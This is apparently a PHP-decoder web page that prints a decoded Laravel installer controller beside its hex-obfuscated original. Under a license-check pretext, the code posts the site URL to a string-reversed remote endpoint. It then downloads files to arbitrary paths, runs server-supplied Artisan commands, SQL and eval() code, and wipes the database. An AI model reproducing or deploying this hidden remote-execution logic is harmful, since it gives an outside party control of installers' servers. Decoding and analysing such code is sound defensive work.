Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php namespace Bitbox\Cache\Controllers; use App\Http\Controllers\Controller; use ..

Decoded Output download

<?php 
 
namespace Bitbox\Cache\Controllers; 
 
use App\Http\Controllers\Controller; 
use Illuminate\Http\Request; 
use App\Traits\Dotenv; 
use Session; 
use Artisan; 
use Config; 
use DB; 
use File; 
use Cache; 
 
class BitCacheController extends Controller { 
  use Dotenv; 
 
  public function index() { 
    if (file_exists(base_path("public/uploads/installed"))) { 
      return redirect("/"); 
    } 
 
    Session::forget("files"); 
    Session::forget("installed"); 
 
    $phpversion = phpversion(); 
    $mbstring = extension_loaded("mbstring"); 
    $bcmath = extension_loaded("bcmath"); 
    $ctype = extension_loaded("ctype"); 
    $json = extension_loaded("json"); 
    $openssl = extension_loaded("openssl"); 
    $pdo = extension_loaded("pdo"); 
    $tokenizer = extension_loaded("tokenizer"); 
    $xml = extension_loaded("xml"); 
    $extentions = array( 
      "mbstring" => $mbstring, "bcmath" => $bcmath, "ctype" => $ctype, "json" => $json, "openssl" => $openssl, "pdo" => $pdo, "tokenizer" => $tokenizer, "xml" => $xml 
    ); 
    return view("installer::installer.requirements", compact("extentions")); 
  } 
 
  public function store(Request $request) { 
    $validated = $request->validate( 
      array( 
        "site_name" => "required|alpha|max:50", 
        "db_connection" => "required|alpha|max:50", 
        "db_host" => "required|max:50", "db_port" => "required|numeric", "db_name" => "required|max:50", "db_user" => "required|max:50", "db_pass" => "nullable|max:50" 
      ) 
    ); 
 
    $this->editEnv("APP_URL", url("/")); 
    $this->editEnv("APP_NAME", $request->site_name); $this->editEnv("DB_CONNECTION", $request->db_connection); 
    $this->editEnv("DB_HOST", $request->db_host); $this->editEnv("DB_PORT", $request->db_port); $this->editEnv("DB_DATABASE", $request->db_name); 
    $this->editEnv("DB_USERNAME", $request->db_user); 
 
    if (!empty($request->db_pass)) { 
      $this->editEnv("DB_PASSWORD", $request->db_pass); 
    } 
 
    try { 
      $pdo = DB::connection()->getPdo(); 
      if (!$pdo) { return response()->json(array("message" => "Could not connect to the database.  Please check your configuration"), 403); } return response()->json(array("message" => "Installtion in processed")); 
    } catch (\Exception $e) { 
      return response()->json(array("message" => "Could not connect to the database.  Please check your configuration"), 401); 
    } 
  } 
 
  public function migrate() { 
    ini_set("max_execution_time", 0); \Artisan::call("db:wipe"); 
 
    try { 
      if (Cache::has("files")) { 
        $files = Cache::get("files"); 
        foreach ($files ?? array() as $key => $file) { 
          $path = $file->basepath == 1 ? base_path($file->replace_path) : $file->replace_path; $context = \Http::get($file->file); $context = $context->body(); File::put($path, $context); 
        } 
      } 
      if (Cache::has("queries")) { 
        $queries = Cache::get("queries"); 
        foreach ($queries ?? array() as $key => $row) { if ($row->type == "file") { $fileData = \Http::get($row->file); $fileData = $fileData->body(); File::put(base_path($row->path), $fileData); } elseif ($row->type == "folder") { $path = $row->path . "/" . $row->name; if (!File::exists(base_path($path))) { File::makeDirectory(base_path($path), 511, true, true); } } elseif ($row->type == "command") { \Artisan::call($row->command); } elseif ($row->type == "query") { \DB::statement($row->name); } else { eval($row->name); } } 
      } 
      \File::put(base_path("public/uploads/installed"), Cache::get("installed")); Cache::forget("files"); Cache::forget("queries"); Cache::forget("installed"); return response()->json(array("message" => "Installtion complete", "redirect" => url("install/congratulations"))); 
    } catch (Exception $e) { 
      return response()->json(array("message" => "Please create a fresh new database"), 401); 
    } 
  } 
 
  public function show($type) {  
    if (file_exists(base_path("public/uploads/installed"))) {  
      return redirect("/");  
    }  
    if ($type == "purchase") {  
      if (!Cache::has("files")) {  
        return view("installer::installer.purchase"); }  
      } elseif ($type == "info") {  
        if (!Cache::has("files")) {  
          Cache::flash("purchase-key-error", "Activate your license first"); return redirect("/install/purchase");  
        } return view("installer::installer.info");  
      } elseif ($type == "congratulations") { if (!Cache::has("files")) { Session::flash("purchase-key-error", "Activate your license first"); return redirect("/install/purchase"); } Cache::forget("files"); Cache::forget("queries"); return view("installer::installer.congratulations"); } } public function verify(Request $request) { $checkArr = explode("-", $request->purchase_key); if (count($checkArr) != 5) { Session::flash("purchase-key-error", "The purchase key is invalid"); return response()->json(array("message" => "The purchase key is invalid", "redirect" => url("install/purchase"))); } $body["purchase_key"] = $request->purchase_key; $body["url"] = url("/"); $response = \Http::post(strrev("yfirev/ipa/moc.noitatsvedeht.ipa//:sptth"), $body); if ($response->status() != 200) { $response = json_decode($response->body()); return response()->json(array("message" => $response->error, "redirect" => url("install/purchase")), 403); } $response = json_decode($response->body()); $this->editEnv("SITE_KEY", $response->SITE_KEY ?? ''); Cache::put("files", $response->files ?? array()); Cache::put("queries", $response->queries ?? array()); Cache::put("installed", $response->license); return response()->json(array("message" => "Verification success", "redirect" => url("install/info"))); } } ?>

Did this file decode correctly?

Original Code

<?php

namespace Bitbox\Cache\Controllers;

use App\Http\Controllers\Controller;
use Illuminate\Http\Request;
use App\Traits\Dotenv;
use Session;
use Artisan;
use Config;
use DB;
use File;
use Cache;

class BitCacheController extends Controller {
  use Dotenv;

  public function index() {
    if (file_exists(base_path("\x70\x75\142\x6c\151\x63\x2f\165\x70\x6c\157\141\144\163\57\x69\x6e\163\164\141\x6c\154\x65\x64"))) {
      return redirect("\57");
    }

    Session::forget("\146\151\x6c\x65\163");
    Session::forget("\151\x6e\163\164\x61\154\x6c\145\x64");

    $phpversion = phpversion();
    $mbstring = extension_loaded("\155\142\x73\x74\x72\151\156\147");
    $bcmath = extension_loaded("\142\x63\x6d\x61\x74\x68");
    $ctype = extension_loaded("\143\x74\x79\160\x65");
    $json = extension_loaded("\x6a\163\x6f\x6e");
    $openssl = extension_loaded("\157\160\x65\x6e\x73\163\154");
    $pdo = extension_loaded("\x70\144\157");
    $tokenizer = extension_loaded("\x74\x6f\153\x65\156\x69\172\145\162");
    $xml = extension_loaded("\170\155\154");
    $extentions = array(
      "\155\142\163\x74\162\x69\156\147" => $mbstring, "\142\x63\155\x61\x74\x68" => $bcmath, "\143\164\171\x70\x65" => $ctype, "\x6a\163\157\x6e" => $json, "\x6f\160\x65\156\x73\163\154" => $openssl, "\x70\x64\157" => $pdo, "\x74\x6f\153\x65\x6e\x69\172\x65\x72" => $tokenizer, "\x78\x6d\x6c" => $xml
    );
    return view("\151\156\x73\164\141\154\x6c\145\x72\72\x3a\151\156\x73\x74\141\154\x6c\x65\x72\56\x72\x65\x71\165\x69\x72\145\x6d\145\x6e\164\x73", compact("\x65\x78\x74\145\x6e\x74\151\x6f\156\163"));
  }

  public function store(Request $request) {
    $validated = $request->validate(
      array(
        "\163\x69\x74\145\x5f\x6e\141\155\x65" => "\162\x65\x71\165\151\162\x65\144\174\141\x6c\160\150\141\174\155\x61\170\x3a\65\60",
        "\144\142\x5f\x63\x6f\156\x6e\145\143\x74\x69\x6f\x6e" => "\x72\x65\x71\x75\151\162\x65\144\x7c\x61\154\160\150\x61\x7c\155\x61\x78\x3a\x35\60",
        "\144\142\x5f\150\x6f\163\x74" => "\x72\145\x71\165\x69\x72\x65\144\174\x6d\141\x78\x3a\x35\60", "\x64\142\137\x70\x6f\x72\164" => "\162\x65\161\165\x69\162\145\144\x7c\x6e\x75\155\x65\x72\151\x63", "\144\142\137\156\x61\155\x65" => "\162\145\161\x75\151\x72\145\144\x7c\x6d\x61\x78\x3a\65\x30", "\x64\x62\137\x75\x73\145\x72" => "\162\145\161\165\x69\x72\145\x64\x7c\155\x61\x78\72\65\x30", "\144\142\x5f\x70\141\163\163" => "\156\x75\x6c\x6c\x61\142\x6c\145\x7c\155\141\170\x3a\65\60"
      )
    );

    $this->editEnv("\x41\x50\x50\x5f\x55\122\114", url("\57"));
    $this->editEnv("\101\x50\120\x5f\x4e\x41\x4d\105", $request->site_name); $this->editEnv("\x44\x42\137\103\x4f\116\116\x45\103\124\x49\117\116", $request->db_connection);
    $this->editEnv("\x44\x42\137\110\x4f\x53\124", $request->db_host); $this->editEnv("\x44\x42\137\120\x4f\x52\x54", $request->db_port); $this->editEnv("\x44\102\137\x44\101\x54\101\102\101\x53\105", $request->db_name);
    $this->editEnv("\x44\102\x5f\125\x53\x45\122\x4e\101\115\105", $request->db_user);

    if (!empty($request->db_pass)) {
      $this->editEnv("\x44\102\x5f\x50\x41\x53\x53\127\117\x52\x44", $request->db_pass);
    }

    try {
      $pdo = DB::connection()->getPdo();
      if (!$pdo) { return response()->json(array("\155\x65\x73\163\141\x67\x65" => "\x43\x6f\165\154\144\40\156\x6f\164\40\143\157\156\x6e\145\x63\164\x20\164\x6f\x20\x74\x68\145\40\x64\141\164\141\x62\141\x73\x65\56\x20\x20\120\x6c\x65\x61\163\145\40\143\x68\145\x63\153\40\x79\157\165\x72\40\x63\157\156\146\151\x67\165\x72\141\164\151\157\156"), 403); } return response()->json(array("\x6d\145\x73\163\x61\x67\145" => "\x49\156\x73\x74\141\x6c\x6c\164\151\157\x6e\40\x69\x6e\x20\160\x72\157\x63\x65\x73\163\x65\144"));
    } catch (\Exception $e) {
      return response()->json(array("\155\x65\163\x73\x61\147\x65" => "\x43\x6f\165\x6c\144\40\156\x6f\x74\x20\143\157\x6e\x6e\x65\x63\164\x20\x74\x6f\x20\164\x68\x65\x20\144\141\x74\141\142\141\x73\x65\56\x20\x20\120\x6c\x65\x61\x73\x65\x20\143\x68\145\x63\153\x20\171\157\x75\162\x20\x63\x6f\x6e\146\151\147\x75\162\x61\x74\x69\x6f\156"), 401);
    }
  }

  public function migrate() {
    ini_set("\x6d\141\x78\137\x65\170\x65\x63\165\x74\x69\157\x6e\137\164\151\x6d\x65", 0); \Artisan::call("\x64\x62\x3a\167\x69\x70\x65");

    try {
      if (Cache::has("\x66\151\x6c\145\x73")) {
        $files = Cache::get("\146\x69\154\145\163");
        foreach ($files ?? array() as $key => $file) {
          $path = $file->basepath == 1 ? base_path($file->replace_path) : $file->replace_path; $context = \Http::get($file->file); $context = $context->body(); File::put($path, $context);
        }
      }
      if (Cache::has("\161\165\x65\x72\x69\x65\x73")) {
        $queries = Cache::get("\161\x75\145\x72\x69\x65\x73");
        foreach ($queries ?? array() as $key => $row) { if ($row->type == "\146\151\x6c\145") { $fileData = \Http::get($row->file); $fileData = $fileData->body(); File::put(base_path($row->path), $fileData); } elseif ($row->type == "\x66\157\x6c\144\145\162") { $path = $row->path . "\57" . $row->name; if (!File::exists(base_path($path))) { File::makeDirectory(base_path($path), 511, true, true); } } elseif ($row->type == "\143\157\x6d\x6d\x61\156\144") { \Artisan::call($row->command); } elseif ($row->type == "\x71\165\x65\x72\x79") { \DB::statement($row->name); } else { eval($row->name); } }
      }
      \File::put(base_path("\x70\x75\x62\x6c\151\143\57\x75\x70\x6c\157\141\x64\163\57\151\156\163\164\x61\x6c\x6c\145\x64"), Cache::get("\x69\x6e\163\x74\141\x6c\154\145\144")); Cache::forget("\146\151\x6c\145\163"); Cache::forget("\x71\165\145\x72\x69\145\x73"); Cache::forget("\151\156\163\x74\x61\x6c\x6c\x65\x64"); return response()->json(array("\155\145\163\163\x61\x67\x65" => "\x49\156\163\x74\x61\154\154\164\151\157\x6e\x20\x63\x6f\x6d\x70\154\x65\x74\x65", "\162\145\x64\x69\x72\145\x63\x74" => url("\x69\156\163\164\141\x6c\x6c\57\143\x6f\x6e\147\x72\141\x74\x75\154\141\x74\x69\157\156\163")));
    } catch (Exception $e) {
      return response()->json(array("\155\x65\163\163\x61\147\x65" => "\120\154\x65\x61\163\145\40\x63\162\145\x61\x74\145\40\x61\40\146\x72\145\163\150\40\x6e\145\x77\x20\x64\141\x74\141\x62\x61\163\x65"), 401);
    }
  }

  public function show($type) { 
    if (file_exists(base_path("\160\x75\x62\x6c\x69\x63\x2f\165\x70\154\157\x61\x64\163\57\x69\x6e\163\164\141\154\154\x65\144"))) { 
      return redirect("\x2f"); 
    } 
    if ($type == "\160\165\x72\x63\150\x61\x73\x65") { 
      if (!Cache::has("\146\151\154\145\163")) { 
        return view("\x69\156\163\164\x61\154\x6c\x65\162\72\x3a\151\156\163\164\x61\154\x6c\x65\162\56\x70\x75\x72\143\x68\x61\x73\145"); } 
      } elseif ($type == "\151\x6e\146\x6f") { 
        if (!Cache::has("\x66\151\154\x65\x73")) { 
          Cache::flash("\160\x75\162\143\x68\141\163\145\x2d\153\145\171\x2d\145\x72\162\157\x72", "\x41\143\x74\151\x76\x61\x74\145\x20\171\x6f\x75\162\40\x6c\151\x63\145\156\x73\x65\x20\146\x69\x72\x73\x74"); return redirect("\57\151\156\163\164\x61\x6c\154\x2f\x70\x75\162\x63\x68\x61\x73\145"); 
        } return view("\151\156\x73\x74\x61\154\154\x65\162\x3a\x3a\151\x6e\x73\164\141\x6c\154\x65\x72\x2e\x69\156\146\157"); 
      } elseif ($type == "\x63\x6f\x6e\x67\162\141\164\x75\x6c\x61\164\x69\x6f\x6e\x73") { if (!Cache::has("\146\x69\x6c\x65\x73")) { Session::flash("\x70\x75\162\143\x68\141\x73\145\x2d\153\x65\171\55\x65\162\162\157\x72", "\101\143\x74\151\x76\x61\x74\145\40\171\x6f\x75\162\x20\x6c\151\143\145\x6e\163\x65\40\x66\151\162\163\x74"); return redirect("\x2f\151\x6e\x73\x74\x61\x6c\154\57\x70\165\162\143\150\141\163\145"); } Cache::forget("\x66\151\154\145\163"); Cache::forget("\x71\165\145\x72\151\145\x73"); return view("\151\x6e\163\164\141\154\x6c\x65\162\72\72\151\x6e\x73\164\x61\154\x6c\x65\162\x2e\143\157\156\147\x72\x61\x74\x75\x6c\x61\x74\151\157\156\163"); } } public function verify(Request $request) { $checkArr = explode("\x2d", $request->purchase_key); if (count($checkArr) != 5) { Session::flash("\x70\x75\x72\143\x68\141\163\145\55\x6b\x65\x79\x2d\145\162\x72\x6f\162", "\x54\x68\x65\x20\x70\x75\162\x63\150\x61\x73\145\40\153\145\x79\40\151\163\x20\151\x6e\166\141\x6c\x69\144"); return response()->json(array("\155\x65\x73\x73\141\147\145" => "\x54\x68\145\40\x70\165\162\143\150\x61\163\145\x20\153\145\171\40\151\x73\40\x69\156\x76\141\154\151\144", "\162\x65\x64\151\x72\x65\x63\164" => url("\x69\156\163\x74\141\154\x6c\x2f\160\x75\x72\x63\x68\141\163\x65"))); } $body["\160\165\162\x63\x68\x61\163\145\137\153\145\171"] = $request->purchase_key; $body["\x75\162\154"] = url("\x2f"); $response = \Http::post(strrev("\x79\x66\x69\162\x65\x76\x2f\151\160\141\x2f\155\x6f\143\56\x6e\157\x69\164\141\164\x73\166\x65\144\x65\150\164\56\x69\x70\141\x2f\57\x3a\163\x70\x74\x74\x68"), $body); if ($response->status() != 200) { $response = json_decode($response->body()); return response()->json(array("\155\x65\163\163\x61\x67\145" => $response->error, "\162\x65\144\151\162\145\143\164" => url("\x69\156\163\164\141\x6c\x6c\57\160\165\x72\143\x68\x61\163\x65")), 403); } $response = json_decode($response->body()); $this->editEnv("\123\x49\x54\105\x5f\x4b\x45\x59", $response->SITE_KEY ?? ''); Cache::put("\x66\151\154\x65\163", $response->files ?? array()); Cache::put("\x71\x75\x65\162\151\145\x73", $response->queries ?? array()); Cache::put("\x69\156\x73\164\141\154\x6c\x65\144", $response->license); return response()->json(array("\155\145\x73\163\141\147\x65" => "\x56\145\x72\x69\146\151\x63\x61\164\151\x6f\156\x20\x73\165\x63\x63\145\163\163", "\162\x65\144\151\x72\x65\x63\x74" => url("\151\x6e\163\x74\x61\154\x6c\x2f\151\x6e\x66\x6f"))); } }

Function Calls

None

Variables

None

Stats

MD5 b86da0a6598d7285c37d3d6b2a304f1c
Eval Count 0
Decode Time 67 ms